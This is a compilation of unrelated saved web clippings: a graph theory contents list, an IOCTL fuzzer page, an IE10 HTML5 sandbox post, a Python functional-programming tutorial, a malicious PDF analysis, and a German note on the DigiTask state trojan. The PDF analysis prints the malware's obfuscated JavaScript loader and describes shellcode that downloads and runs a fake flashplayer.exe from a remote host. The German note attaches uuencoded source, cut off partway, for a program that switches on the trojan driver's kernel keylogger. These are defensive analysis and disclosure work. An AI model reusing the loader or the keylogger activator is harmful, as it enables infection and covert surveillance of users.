    4. Applications to Computer Science
    5.       1. Tree traversals
      2. Binary search trees
  7. Distance and Connectivity
  8.     1. Paths and distance
    2. Vertex and edge connectivity
    3. Centrality of a vertex
    4. Network reliability
  9. Optimal Graph Traversals
  10.     1. Eulerian graphs
    2. Hamiltonian graphs
    3. The Chinese Postman Problem
    4. The Traveling Salesman Problem
  11. Planar Graphs
  12.     1. Planarity and Euler's Formula
    2. Kuratowski's Theorem
    3. Planarity algorithms
  13. Graph Coloring
  14.     1. Vertex coloring
    2. Edge coloring
    3. Applications of graph coloring
  15. Network Flows
  16.     1. Flows and cuts
    2. Ford and Fulkerson's theorem
    3. Edmonds and Karp's algorithm
    4. Goldberg and Tarjan's algorithm
  17. Random Graphs
  18.     1. Erdos-Renyi graphs
    2. Small-world networks
    3. Scale-free networks
    4. Evolving networks
  19. Graph Problems and Their LP Formulations
  20.     1. Maximum average degree
    2. Traveling Salesman Problem
    3. Edge-disjoint spanning trees
    4. Steiner tree
    5. Linear arboricity
    6. Acyclic edge coloring
    7. H-minor

  
  
  
  
  
  
  
  

©2010 Google - Terms \- Privacy \- Project Hosting Help

Powered by Google Project Hosting

# ioctlfuzzer - Project Hosting on Google Code

**Created:**| _1/1/2011 10:48:53 AM_  
---|---  
**Updated:**| _1/1/2011 10:49:03 AM_  
**Author:**| __  
**Tags:**| _attacks windows security Fuzzer awesome_  
  

# New in 1.2 version

  * Windows 7 support
  * Full support of 64-bit versions of Windows
  * Exceptions monitoring
  * "Fair Fuzzing" feature
  * Different data generation modes
  * Boot fuzzing \(during OS initialization\)

Download binaries and sources:
http://ioctlfuzzer.googlecode.com/files/ioctl\_fuzzer-1.2.zip

<img src='img/Temp2_10406.png' />

# General information

IOCTL Fuzzer is a tool designed to automate the task of searching
vulnerabilities in Windows kernel drivers by performing fuzz tests on them.

The fuzzer’s own driver hooks NtDeviceIoControlFile in order to take control
of all IOCTL requests throughout the system.

While processing IOCTLs, the fuzzer will spoof those IOCTLs conforming to
conditions specified in the configuration file. A spoofed IOCTL is identical
to the original in all respects except the input data, which is changed to
randomly generated fuzz.

IOCTL Fuzzer works on Windows XP, 2003 Server, Vista and 2008 Server.

# Defense in Depth: Locking Down Mash-Ups with HTML5 Sandbox - IEBlog - Site
Home - MSDN Blogs

**Created:**| _7/19/2011 7:07:38 PM_  
---|---  
**Updated:**| _7/19/2011 7:07:38 PM_  
**Author:**| __  
**Tags:**| _browser sandboxing html5_  
  

### Defense in Depth: Locking Down Mash-Ups with HTML5 Sandbox

ieblog

14 Jul 2011 9:14 AM

  * 35

The Web is better when developers can build safer experiences in their sites.
With each release of Internet Explorer, we’ve led the way with improvements to
the browser to help ensure a safe and secure browsing experience. Now IE10
Platform Preview 2 includes full support for  HTML5 Sandbox technology that
allows developers to further lockdown mash-up content on their sites.

HTML5 Sandbox allows developers to further reduce the privileges of portions
of their pages. To use it, it’s as simple as adding the _sandbox_ attribute to
an iframe element:

<iframe src="untrusted.html" sandbox></iframe>

With the _sandbox_ attribute, the framed content is no longer allowed to:

  * Instantiate plugins
  * Execute script
  * Open popup windows
  * Submit forms
  * Access storage \(HTML5 localStorage, sessionStorage, cookies, etc.\)
  * Send XMLHttpRequests
  * Access the parent window's DOM
  * Use HTCs, binary behaviors, or data binding

These restrictions greatly reduce the capabilities of the framed content. If
these restrictions are too much for your site, you can allow-list certain
capabilities back to the content using tokens in the attribute’s value. For
example, this markup would have all of the above restrictions except would be
allowed to submit forms and execute script:

<iframe src="untrusted.html" sandbox="allow-forms allow-scripts"></iframe>

Try out the HTML5 Sandbox Test Drive demo to see all of the allow tokens in
action. Read the IE10 Developer's Guide for more details on what is blocked
inside sandboxed iframes.

The mash-up security problem isn’t new to the Web; developers had to deal with
how to safely host content such as ads, widgets, forums, comment posts, etc.
on their sites for years. This content can be dangerous to the hosting site as
a vector for Cross-Site Scripting attacks \(XSS\), information disclosure,
user-experience hijacking, and more. Sites employ a number of mitigations,
such as:

  * Server and client side content validation, filtering, and encoding
  * JavaScript libraries to override access to undesirable APIs
  * Hosting content from an separate domain to rely on existing cross-origin policies
  * Using IE’s legacy _security= "restricted"_ attribute

## Detecting support for sandbox

We encourage developers to target IE10 Standards Mode for their sites. But to
ensure users can’t accidentally remove the sandbox by clicking the
Compatibility View button, IE10 supports the attribute in all document modes.

You may have content which you only wish to display if the user's browser
supports sandbox. As always, we encourage the use of feature detection for
this purpose. HTML5 Sandbox can be detected using the following JavaScript:

if \("sandbox" in document.createElement\("iframe"\)\) \{

window.alert\("HTML5 Sandbox is supported\!"\);

\}

## Graceful and secure fallback

In browsers which do not support HTML5 Sandbox, the attribute will be ignored.
This means your content will be rendered without the additional security
restrictions. HTML5 Sandbox is a defense-in-depth technology—meaning, you
should use this on top of other mash-up security techniques like those I
mentioned above.

## Improving the standard

While implementing this feature, we identified a few areas in the
specification to improve.

**First** , by default browsers block popups inside the sandbox. However,
there are times where it might be desirable to allow them. For example, in the
sandbox Test Drive demo the site puts a Bing Maps widget in a sandboxed iframe
but allows popups to facilitate the larger map, directions, and Bird’s Eye
popup links. IE10 supports allowing popups for such valid cases via the _ms-
allow-popups_ token. We’ve given this feedback to the HTML Working Group. When
the specification is updated and stabilized, we’ll remove the vendor prefix.

**Second** , it’s important for the server to also be able to sandbox content.
The _sandbox_ attribute restricts content only when within an iframe. If the
sandboxed content is able to convince the user to browse to it directly, then
the untrusted content would no longer be within the sandboxed iframe and none
of the security restrictions would apply.

While no browser implements it, HTML5 suggests the server could send the
untrusted content with a _text/html-sandboxed_ MIME type. There are a number
of issues with this approach—notably, you can’t specify the necessary allow
tokens via a MIME type. After the discussion generated by proposing to remove
this from HTML5, we’ve put our support behind the sandbox directive of the _X-
Content-Security-Policy_ HTTP header. Here’s an example header you can send to
sandbox the content but allow form submission and script execution:

X-Content-Security-Policy: sandboxed allow-forms allow-scripts;

**Finally** , we developed 26 test cases for HTML5 Sandbox, which we'll submit
to the W3C.

We welcome your feedback on HTML5 Sandbox in IE10. Download  IE10 Platform
Preview 2 and report and bugs you find via Connect.

—Jacob Rossi, Program Manager, Internet Explorer

# Functional Programming with Python – Part 2 – Useful python constructs | Web Builder Zone
**Created:**| _1/22/2012 7:36:21 PM_  
---|---  
**Updated:**| _1/22/2012 7:36:21 PM_  
**Author:**| __  
**Tags:**| _python Functional_  
  

n Functional Programming with Python – Part 1, I focused on providing an
overview. In this post I shall focus on the core python language constructs
supporting functional programming. If you are experienced pythonista, you may
choose to skip this post \(and wait for the next post in this series

\)

**Sequences in python are not immutable :**

When using sequences in python the thing to be noted is that sequences are not
immutable. This provides you with the following options.  

**a\)** Use immutable sequence types : This is only possible by defining
different types for sequences than the ones built into the language.  
  
**b\)** Ignore all methods on the sequences which modify them  
  
**c\)** Waive functional programming tenet of immutability  

My preferred option when explicitly focusing on writing functional code is to
use b\)

**Sequence types in python**

The most commonly used sequence types in python are :  

  * Tuple : Immutable, Ordered, Indexed collection represented as _\(val1, val2\)_
  * List : Ordered collection represented as _\[val1, val2\]_
  * Dictionary : A key indexed collection represented as _\{ key1: val1, key2 : val2 \}_
  * Set : An unordered collection allowing no duplicates. Represented as _set\(\[val1,val2\]\)_
  * str and unicode : While primarily meant to serv as ascii and unicode strings, these data structures also act as sequences of characters._Represented as “abcd” or ‘abcd’_

  
  
Of the above only tuples are immutable.

There are other sequences used less often as well. An example is _frozenset_
which is an immutable set.

**Simple iteration**  
The _for_ construct allows you to loop through a sequence. eg.

[code]

    one_to_five = [1,2,3,4,5]
    for num in one_to_five :
        print num
[/code]

**Iterators on dictionaries**

Unlike tuples, lists and sets where iterators essentially traverse through the
sequence constituents, there are a number of different iterators on
dictionaries. These are :

[code]

    d = {1:"One", 2: "Two", 3:"Three"}
    # keys
    for val in d : print val
    # an alternative for keys
    for val in d.keys() : print val
    # values
    for val in d.values() : print val
    # key, value tuples
    for key,val in d.items() : print key, val
[/code]

**Slices**

Slices allow creation of a subset on a sequence. They take the syntax
_\[start:stop:step\]_ with the caveat that a negative value for start or stop
indicates an index from the end of the sequence measured backwards, whereas a
negative step indicates a step in the reverse direction. The following should
quickly indicate the use of slices

[code]

    seq=[0,1,2,3,4,5,6,7]
    
    #first 3
    print seq[:3]
    # last 3
    print seq[-3:]
    # 2nd to second last
    print seq[1:-1]
    # reverse the sequence
    print seq[::-1]
[/code]

**The iterator protocol**  
Since python is an object oriented language as well, it provides strong
support for allowing iteration over an object internals. Any object in python
can behave like a sequence by providing the following :

a. It must implement the _\_\_iter\_\_\(\)_ method which in turn supports the
iterator protocol  
b. The iterator protocol requires the returned object, an iterator, to support
the following ie. an _\_\_iter\_\_\(\)_ method returning self. and a
_next\(\)_ method which returns the next element in the sequence, or raise a
StopIteration in case the end of iteration is reached.

_I’ve tested iterators which do not themselves have an \_\_iter\_\_\(\) method
and it still works, but I still do not give in to the temptation of not
defining the next\(\) method alone since that would be inconsistent with the
documented python specifications_

Let us examine a simple class indicating a range. Note that this is just for
demonstration since python itself has better constructs for a range.

[code]

    # An iterator object to sequentially offer the next number
    # in a sequence. Raises StopIteration on reaching the end
    class RangeIterator(object):
        def __init__(self,begin,end):
            self._next = begin - 1
            self.end = end
        def next(self):
            self._next += 1
            if self._next < self.end :
                return self._next
            else :
                raise StopIteration
               
    # A class which allows sequential iteration over a range of
    # values (begin inclusive, end exclusive)
    class Range(object):
        def __init__(self,begin,end):
            self.begin = begin
            self.end = end
        def __iter__(self):
            return RangeIterator(self.begin, self.end)
    
    oneToFive = Range(1,5)
[/code]

In the above example, _\_\_iter\_\_\(\)_ on Range returns an instance of a
RangeIterator.

The way this capability is used is as follows :

[code]

    for number in oneToFive :
        print 'Next number is : %s' % number
    
    print 'Is 2 in oneToFive', 2 in oneToFive
    print 'Is 9 in oneToFive', 9 in oneToFive
[/code]

The output you get with it is :

[code]

    Next number is : 1
    Next number is : 2
    Next number is : 3
    Next number is : 4
    Is 2 in oneToFive True
    Is 9 in oneToFive False
[/code]

**Generators**

In the above situation, the state necessary for the iteration \(ie.begin and
end attributes\) need to be stored. This was stored as a class member. Python
also provides a function based construct called a generator. In case of a
generator, the function should just do a _yield_ instead of a return. Python
implicitly provides a next\(\) method which resumes where the last yield left
off and implicitly raises a StopIteration when the function completes. So
representing the above class as a function,

[code]

    def my_range(begin, end):
        current = begin
        while current < end :
            yield current
            current += 1
           
    for number in my_range(1,5) :
        print 'Next number is : %s' % number
    
    print 'Is 2 in oneToFive', 2 in my_range(1,5)
    print 'Is 9 in oneToFive', 9 in my_range(1,5)
[/code]

  

I do not document the results since these are identical to the earlier code
using a RangeIterator.

_Note: I used my\_range\(\) and not range\(\) since there already exists
another range\(\) already provided by python_

An interesting point to realise is that in both the above situations, the next
element to be returned in the sequence was being computed dynamically. To put
it in the terminology better consistent with functional programming, it was
being lazily evaluated. While python has no mechanism of lazy evaluation of
functions, the ability of functions or objects to lazily evaluate the return
values are sufficiently adequate to get the benefits of lazy evaluation at
least from the perspective of cpu utilisation only on demand, and minimal
memory utilisation.

**List comprehensions**

List comprehensions are one of the most powerful functional programming
constructs in python. To quote from python documentation \(even as I leave out
a very important part of the full quote .. to be covered later\),  

> Each list comprehension consists of an expression followed by a for clause,
> then zero or more for or if clauses. The result will be a list resulting
> from evaluating the expression in the context of the for and if clauses
> which follow it. If the expression would evaluate to a tuple, it must be
> parenthesized.
  
A sample list comprehension is one which returns a sequence of even numbers
between 0 and 9 :

[code]

    # A list comprehension that returns even numbers between 0 and 9
    even_comprehension = (num for num in range(10) if num % 2 == 0)
    print type(even_comprehension)
    print tuple(even_comprehension)
[/code]

The output one gets on running the code above is

[code]

    type 'generator'
    (0, 2, 4, 6, 8)
[/code]

Note that the list comprehension returns a generator which then returns a
sequence containing 0, 2, 4, 6 and 8.

The for and if statements can be deeply nested.

**lambda**

Lambdas are anonymous functions with a constraint. Their body can only be a
single expression which is also the return value of the function. I will
demonstrate their usage in the next section.

**map, filter and reduce**

Three of the functional programming constructs which probably have aroused
substantial discussions within the python community are map, filter and
reduce.

_map_ takes a sequence, applies a function of each of its value and returns a
sequence of the result of the function. Thus if one were to use map with a
function which computes the square on a sequence, the result would be a
sequence of the squares. Thus

[code]

    def square(num): return num * num
    print tuple(map(square,range(5)))
[/code]

results into

[code]

    (0, 1, 4, 9, 16)
[/code]

I mentioned earlier I will demonstrate usage of a lambda. In this case I could
use a lambda by defining the square function anonymously in place as follows :

[code]

    print tuple(map(lambda num : num * num,range(5)))
[/code]

_filter_ takes a predicate and returns only the elements in the sequence for
whom the predicate evaluates to true.

Thus

[code]

    print filter(lambda x : x % 2 == 0, range(5))
[/code]

results in the following output

[code]

    [0, 2, 4]
[/code]

Finally the most controversial of them all – _reduce_. Starting with an
initial value, reduce reduces the sequence down to a single value by applying
a function on each of the elements in the sequence along with the current
manifestation of the reduced value. Thus if I wanted to compute the sum of
squares of numbers 0 through 4, I could use the following

[code]

    print reduce(lambda reduced,num : reduced + (num * num), range(5), 0)
[/code]

In the above example, 0 as the right most argument is the initial value.
range\(5\) is the sequence of numbers from 0 thru 4. Finally the anonymous
lambda takes two parameters – the first is always the current value of the
reduced value \(or initial value in case it is being invoked for the very
first time\) and the second parameter is the element in the sequence. The
return value of the function is the value which will get passed to the
subsequent invocation of the reduce function with the next element in the
sequence as the new reduced value. The reduced value as returned finally by
the function is then the returned value from _reduce_

The functional programming folks are likely to find this an extremely natural
expression. Yet reduce resulted in a substantial debate within the python
community. With the result that reduce is now being _removed_ from python 3.0.
\(Strictly speaking it is being removed from python core but will be just an
import statement away as a part of the functools package\). See The fate of
reduce\(\) in Python 3000. Why so controversial ? Simply because the usage of
map, filter, reduce above could be rewritten as

[code]

    #map
    seq = []
    for num in range(5) :
        seq = seq + [num * num]
    print seq
    
    #filter
    seq = []
    for num in range(5) :
        if num % 2 == 0 :
            seq = seq + [num]
    print seq
    
    #reduce
    total = 0
    for num in range(5) :
        total = total + (num * num)
    print total
[/code]

Just look at the two blocks of code and figure out which is easier to read
\(especially look at reduce\). One of the areas where a large number of
pythonistas and lispists are likely to disagree is the tradeoffs between
brevity and easy readability. Python code is often english like \(well, at
least to the extent that a programming language can be\) and some pythonistas
do not like the terse syntax of lisp thats hard to follow.

I earlier mentioned that I left out a part of the description of list
comprehensions from python documentation. Here’s that part of the quote.  

> List comprehensions provide a concise way to create lists without resorting
> to use of map\(\), filter\(\) and/or lambda. The resulting list definition
> tends often to be clearer than lists built using those constructs.
  
Having said that I do believe many including myself will continue to use map,
filter, reduce

Other helpful functions in python core that are helpful for functional
programming are :  

  * _all_ : Returns True if all elements in a sequence are true
  *  _any_ : Returns True if any element in a sequence is true
  *  _enumerate_ : Returns a sequence containing tuples of element index and element
  *  _max_ : Returns the maximum value in a sequence
  *  _min_ : Returns the minimum value in a sequence
  *  _range_ : Return a sequence for given start, end and step values
  *  _sorted_ : Returns a sorted form of the sequence. It is possible to specify comparator functions, or key value for sorting, or change direction of sort
  *  _xrange_ : Same as range except it generates the next sequence element only on demand \(lazy evaluation\) thus helping conserve memory or work with infinite sequences.

  
  
We’ve seen many of the constructs that are typically useful for functional
programming. I left out one big part – the _itertools_ package. This is not a
part of python core \(its a package which is available with a default python
installation\). Its a large library and substantially helps functional
programming. That along with some more sample python programs shall be the
focus of my next blog post in the series. At this point in time I anticipate
at least a few more parts after that to focus on a\) Immutability b\)
Concurrency and c\) Sample usage.

Hope you found this useful and keep the feedback coming so that I can factor
it into the subsequent posts.

Source: http://blog.dhananjaynene.com/2010/03/functional-programming-with-
python-%E2%80%93-part-2-useful-python-constructs/

# Malicious pdf analysis : from price.zip to flashplayer.exe

**Created:**| _11/18/2010 5:43:32 PM_  
---|---  
**Updated:**| _11/18/2010 5:46:49 PM_  
**Author:**| __  
**Tags:**| _shellcode Debugging reversing Malware-analysis socialising
awesome_  
  

### Introduction

This morning, my generic attachment filter for MS Exchange reported about 100
emails that have been put in quarantine because they contained a small zip
file :

<img src='img/Temp2_5095.png' width='614' height='391' alt='image' />

Email header :

[code]

    Received: from hosting1.i-excom.net ([87.106.13.96])
       18 Nov 2010 10:23:47 +0100
    Received: (qmail 558 invoked from network);
       18 Nov 2010 10:22:46 +0100
    Received: from 41-135-4-212.dsl.mweb.co.za (HELO 192.168.2.3) (41.135.4.212)
             by hosting1.i-excom.net with SMTP;
       18 Nov 2010 10:22:43 +0100
    Received: from [10.10.0.11] by 192.168.2.3 id ib1m4s-000JkE-00;
       Thu, 18 Nov2010 11:49:01 +0200
    Message-ID: <009601cb8704$ef9f3b00$0b000a0a@192.168.2.3>
    From: <pichi5@ozu.es>
    To: <xxxxxxxxxxxxxxxx>
    Subject: Re: lista de precios!
    Date: Thu, 18 Nov 2010 11:49:01 +0200
    MIME-Version: 1.0
    Content-Type: multipart/mixed;
       boundary="----------B21C218F271B9A77"
    Return-Path: pichi5@ozu.es
    
[/code]

When looking inside the zip file, I found a small pdf file… I immediately
figured this file was up to no good, so it was time to get my hands dirty :\)

This morning, VirusTotal reports that the pdf file is clean \(0/43\)… But that
doesn’t mean anything, does it.

When running the same analysis again \(4 hours later\), only 2 vendors seem to
be catching it : PCTools and Symantec :

<img src='img/Temp2_5091.png' width='613' height='273' alt='image' />

What follows are some short notes about the malicious pdf analysis :

### Analysing the pdf file

First, I ran pdfid.py and pdf-parser.py against the pdf file.

pdfif.py shows that the file contains javascript :

[code]

    root@bt:/pentest/pdf# ./pdfid.py price.pdf
    PDFiD 0.0.11 price.pdf
     PDF Header: %PDF-1.3
     obj                    3
     endobj                 3
     stream                 0
     endstream              0
     xref                   1
     trailer                1
     startxref              1
     /Page                  0
     /Encrypt               0
     /ObjStm                0
     /JS                    1
     /JavaScript            2
     /AA                    0
     /OpenAction            0
     /AcroForm              0
     /JBIG2Decode           0
     /RichMedia             0
     /Launch                0
     /Colors > 2^24         0
    
[/code]

Both "strings" and "pdf-parser.py" indicate that there are 2 "interesting"
objects :

#### object 1 0 : contains javascript code

<img src='img/Temp2_5100.png' width='449' height='498' alt='image' />

#### object 3 0 : contains a big array \(/Producer tag\)

<img src='img/Temp2_5104.png' width='669' height='231' alt='image' />

At first sight, I would expect that the the javascript code will use the array
one way or another to reproduce payload & execute it… Let’s figure out how
it’s been done :

### De-obfuscating & Re-assembling the original payload

The javascript code was slightly obfuscated and will

  * use String.fromCharCode to convert ascii values to char
  * subtract one value from another in the array to get to the ascii value \(that gets converted to char\)
  * all chars together result in a new javascript routine
  * execute the routine using eval

Original code :

[code]

    vc = \(function\(\){return this;}\).call\(null\);
    ew = new Date\(\);
    var kx='';
    var mxkk = 'e'+\(parseInt\(ew.getFullYear\(\)\)-1\)+'a'+kx+'l';
    yh=vc[mxkk.replace\('2009','v'\)];
    function qm\(\){
            var agno='',apx=[];
            var kx='';
            yh\('va'+kx+'r mirx=th'+kx+'i'+kx+'s'\);
            yh\('va'+kx+'r ib=Str'+kx+'ing.f'+kx+'romC'+kx+'harCode'\);
            var qkm='prod' + ew.getFullYear\(\)+'er';
            var fz = mirx[qkm.replace\('2010','uc'\)];
            var aqa = '' + ew.getFullYear\(\) + kx + 'i'+kx+'t';
            var ws = 's' + aqa.replace\('2010','pl'\);
            var fwrb='2010';
            fwrb = fwrb.replace\(ew.getFullYear\(\),''\);
            yh\('va'+fwrb+'r n' + kx + 'r=[' + fz + fwrb + ']'\);
            var ji = nr;
            vofw='le'+kx+'ng'+kx+'th';
            var ra = ji[vofw]
       / 2;
            for \(var kdx = 0; kdx < ra; kdx++\) {
                    agno += ib\(ji[kdx+ra] - ji[kdx]\);
            }
            return agno;
            }
            var ga=qm\(\);
            yh\(ga\);
    
[/code]

  
I modified the code so I could retrieve the decoded/de-obfuscated payload :

[code]

    vc = (function() { return this; }).call(null);
    ew = new Date();
    var kx='';
    var mxkk = 'e'+(parseInt(ew.getFullYear())-1)+'a'+kx+'l';
    yh=vc[mxkk.replace('2009','v')];
    
    function qm()
    {
        alert("Inside function");
        var agno='';
        var apx=[];
        var kx='';
        var producer = [1008,... ];   // insert the array from the Producer tag here
        yh('va'+kx+'r mirx=th'+kx+'i'+kx+'s');
        yh('va'+kx+'r ib=Str'+kx+'ing.f'+kx+'romC'+kx+'harCode');
        var qkm='prod' + ew.getFullYear()+'er';
        var fz = mirx[qkm.replace('2010','uc')];
        var aqa = '' + ew.getFullYear() + kx + 'i'+kx+'t';
        var ws = 's' + aqa.replace('2010','pl');
        var fwrb='2010';
        fwrb = fwrb.replace(ew.getFullYear(),'');
        yh('va'+fwrb+'r n' + kx + 'r=[' + fz + fwrb + ']');
        var ji = nr;
        vofw='le'+kx+'ng'+kx+'th';
        var ra = producer.length / 2;
          for (var kdx = 0; kdx < ra; kdx++)
          {
                agno += String.fromCharCode( producer[kdx+ra] - producer[kdx] );
          }
          alert(agno);
    }
    var ga=qm();
    yh(ga);
    
[/code]

Some highlights from the code :

  * mxkk = eval\(\)
  * var ib = string.fromCharCode
  * ws = split\(\)

When running the javascript, you will get this :

<img src='img/Temp2_5106.png' width='649' height='410' alt='image' />

… and that looks like another javascript routine to me :\)

<img src='img/Temp2_5103.png' width='695' height='342' alt='clip_image002' />

As you can see in this code :

  * payload is stored in the xp variable
  * it uses heap sprays \(trying to jump to 0c0c0c0c and/or 0a0a0a0a\) etc
  * it tries to trigger overflows by attempting to abuse a number of bugs in Acrobat Reader \(util.printf\(\), media.newPlayer\(\), and others\) - CVE-2008-2992, CVE-2009-4324, CVE-2007-5659, CVE-2009-0927 and perhaps others. Exploit kit FTW :\)

Note : you can use online services to analyse pdf files as well :

  * http://jsunpack.jeek.org/dec/go

<img src='img/Temp2_5102.png' width='709' height='246' alt='image' />

  * http://www.malwaretracker.com/pdf.php

<img src='img/Temp2_5094.png' width='709' height='326' alt='image' />

### Analyzing the payload

I converted the payload in the xp variable to bytes and used shellcodetest.c
to run the payload and opened the shellcodetest executable in immunity
debugger :

The payload itself \(in var ‘xp’\) uses a typical GetPC routine \(so it can
run from anywhere in memory\) and then starts by decoding the actual payload
\(XOR AL,1B\) :

<img src='img/Temp2_5099.png' width='709' height='305' alt='image' />

After the decoder stub has ended, the decoded payload starts by getting a
pointer to urlmon \(string stored on the stack\), so apparently it will
attempt to load that dll and use one or more functions in that dll :

<img src='img/Temp2_5092.png' width='707' height='166' alt='image' />

Then the code locates the base of kernel32 \(so it can dynamically load the
dll if it’s not loaded already\)

<img src='img/Temp2_5101.png' width='703' height='204' alt='image' />

The function pointer to loadlibrary is located and stored in eax :

<img src='img/Temp2_5097.png' width='703' height='152' alt='image' />

And then it loads urlmon.dll

Next, it located the URLDownloadToCacheFileA function inside urlmon.dll

<img src='img/Temp2_5093.png' width='702' height='276' alt='image' />

The code attempts to download file http://fryloop.net/flashplayer.exe and
stores it in the temporary internet files. I bet that’s not a real flashplayer
:\)

<img src='img/Temp2_5108.png' width='698' height='123' alt='image' />

<img src='img/Temp2_5105.png' width='699' height='95' alt='image' />

As one could expect, it then looks up the function pointer for CreateProcessA

<img src='img/Temp2_5096.png' width='696' height='299' alt='image' />

and executes the downloaded binary :

<img src='img/Temp2_5098.png' width='692' height='142' alt='image' />

<img src='img/Temp2_5107.png' width='707' height='163' alt='clip_image017' />

### Analyzing flashplayer.exe

I will post more information about flashplayer.exe after it was fully
analyzed. If you want to get a copy of the pdf file, head over to the corelan
channel on IRC \(freenode\) and ask me.

### Protect yourself

  * Disable javascript in Acrobat Reader \(or avoid using Acrobat Reader altogether\)
  * Block all access to fryloop.net \(keep in mind, however, that nothing prevents the senders to use different url’s to host the payload\) \(You could consider creating a zone for fryloop.net in your local DNS and point it to 127.0.0.1, or block access on your proxy / web filtering gateways\)
  * Block incoming small zip files on your email gateways

# Untitled note

**Created:**| _11/10/2011 3:20:41 PM_  
---|---  
**Updated:**| _11/10/2011 3:20:41 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

[code]

             HOCHKOMPLIZIERTE VERSUCHSANORDNUNG VERSAGT
           Verheimlichen Bundesbehörden ein Halteproblem?
    
    
    Gestern hat der  CCC die Analyse einer  aktuellen Version des
    Staatstrojaners  vorgestellt[1]. Im  Zuge  dessen wurde  auch
    eine geleckte Stellungnahme von DigiTask an Behördenkunden[2]
    veröffentlicht,  in  der  mich folgender  Absatz  erneut  zum
    Popcorneimer greifen ließ:
    
      Die Analyse des Kernel Treibers ist weitgehend korrekt. Der
      CCC bestaetigt auch  hier, dass nichtzugelassene Funktionen
      (Keylogger) nicht aktiviert werden können.
    
    Dieser  Kommentar  bezieht  sich  auf die  alte  Version  des
    Trojaners,  dessen  Analyse  inklusive  Binaries[3]  vom  CCC
    bereits vor über zwei Wochen  online gestellt wurde. Nach den
    bisherigen Reaktionen zum DigiTask-Trojaner  halte ich es für
    höchst unwahrscheinlich,  daß die  Verantwortlichen kompetent
    technisch beraten werden. Aus Mitleid möchte ich deshalb kurz
    meine Erkenntnisse  zum Kernelmode Keylogger im  alten Kernel
    Treiber zum Besten geben:
    
    - In dem Treiber  ist Keylogger-Programmcode vorhanden. Damit
      können Tasten  aufgezeichnet und von  beliebigen Programmen
      ohne weitere Sicherheitschecks mitgelesen werden.
    
    - Es fehlt  eine Routine, die den  Keylogger so konfiguriert,
      daß Tasten aufgezeichnet werden.
    
    - Das  Fehlen  dieser  Routine   verhindert  nicht,  daß  der
      Keyloggercode trotzdem aktiviert und benutzt werden kann.
    
    Als  Nachweis ist  der  Quellcode  eines kurzen  Programms[4]
    angehängt,  das   den  Kernelmode  Keylogger   aktiviert.  Es
    benötigt  dazu keine  besonderen  Rechte,  sondern nutzt  nur
    unoffensichtliche Funktionen des Treibers von DigiTask aus.
    
    Offenbar  gibt  es  ein  Problem  mit  der  hochkomplizierten
    Versuchsanordnung   zum   Beweis   der   Nichtexistenz   bzw.
    Nichtaktivierbarkeit  unzulässiger   Programmfunktionen.  Der
    aufgetretene  Fehler ist  charakteristisch  für Unwuchten  in
    nicht fachgerecht betriebenen Turingmaschinen. Darum habe ich
    folgende unangenehme Fragen für die Trojanerverantwortlichen:
    
    - Werden Turingmaschinen  in Bundesbehörden unzulässigerweise
      vertikal ausgerichtet betrieben?
    
    - Warum   werden   stattdessen   nicht   robuste   und   viel
      ungefährlichere Kellerautomaten eingesetzt?
    
    
    Heil Eris, x.
    
    
    [1] http://www.ccc.de/de/updates/2011/analysiert-aktueller-staatstrojaner
    [2] http://www.ccc.de/system/uploads/80/original/Stellungnahme_DigiTask.pdf
    [3] http://www.ccc.de/system/uploads/77/original/0zapftis-release.tgz
    [4] Quellcodearchiv extrahieren (uudecode), entpacken und mit
        dem frei verfübaren Windows Driver Kit bauen:
    begin 644 winsys32keylog.tgz
    M'XL(```````"`^T[;WO;N.U]ZSQ/O@.;NW9VZCBVF_ZYRZ6;8RN)+K;E24JZ
    M7I)ILD7'6F3)D^@FWM9]]A]`4K(D_VFZ^ZU];C-?2!8)@"`(@@!(=QKGRHG:
    M5I[\!TNU6GU]<$#P#27_A@*-U7DAU5J]7CMX0JI/OD*91LP.@94P"-@ZN/L1
    MI=[Z068&]QLI3]5NLWW14LCWQ:[9`650NI>EZ[%]1X>N1RL.'6YO/=F4_]IB
    M:!=Z4S&>?,OU_ZK^.K_^:Z_?;-;_URAF0S]5S&ZCHQS=NWXTBU[6[^C,"VZW
    MMT23^:&G'/5T[51O=+:W+KIJ4VLI1S7XV>%-@\"/`H_"MZ%8'>.RJ9N\%;ZZ
    M#5.]5"SE3(`K75/_<'0_MEU_>ZMIM6#?Z2K&T??%Y'>)[+=D#_#+DC^WMZ2-
    M0MA6Z]R"3ZO7,,]*AX"KFYEO(]T>CZ&M'B,NML%/T79]1T.?>B_K%<_MDWSC
    M-*+ABB:?.9Z'+=M;<O$<^39S/]+*@.#8*H/?DL44'#_YENO_U9N72_;_S?K_
    M*N4[UQ]X4X>2G]ZKW9;VWJB<O=O>FM=&H.UNOS+*5[H!KTO5[D1L.AQ61CM8
    M.QC9(=D=!`Y%<W)U0X[(/[:W"COPT0_LT"$T#(-PITQV%*.)KQIYBJ\Z^0.^
    M7I+O\'5`OL?7*_)LIXS8K\F?\?L->8ZOMV077S^0(KZJI(2O/6+AZXB\P->Q
    M/;B+)O:`"GS3[F/M'_'QGG>.#QT?)CX^X.,"'RH^-'ST!.H5^0=^W9!/',]G
    ME'/?;K+0PQ\-?!CX:.'C!!^G`O4,?_^,CW..@H_#'_'Y.W*]@^^_D'_Q%F/D
    M#AG^NKXF_Q3(O^#GG_#!Q73)1X6/+CXZ^"B3G_!5(>_PM4]^+S#UA-HYG4UL
    M9X]+J]WP>)TAI`)D[4G4#@9WG.L:?]8%@9.7_.N`/U_QYVO^?,.?;_GS!X%7
    MY2Q-QX(28AN#,/"\F+)DX<W^63"FJ8JW^Q>3U.</^[U;K$`"LFHOU7RPWZ:9
    M(;U*_7Z]K[NW(Y9!?I%JK^TKOI/ZKN^W@GL_5?$2.F_Y&?SJONI'*9#*?HN*
    MZ?;8GC&+]+_QX?.Y**("<KG5A!AK7(Z?#G$]@)%A[H!\#%RN^D6Q/GQ[3&&3
    MPI4Q"5V?#8L[SR(RM,'S=LKDE+*V'3$%5TJQ!"OHF7.-_")6OK4$O13H@\N*
    M-?SYB??I_IU:C#B!Y08#YA7/&MU66R&C,KEH:]U3PFO+@J==UR\3B>#Z'O7C
    M^F#*D@;X#2V2X6--:Y-H.AC0*`+>6O2C.Z!JT`Q\!A-?!(@"]"3*_CZQ+->7
    M7R1F1."@S`J2EP70UGM-;Q'G/B'<!),B,/QRAKC5'P13GUG!A!5]U3\&6T1#
    M`Q@OD7;O4E-;Q)O$U9(`'^:*+C,D.#R71-(A?,4]3NQ0=JM-60J)['J3XQFC
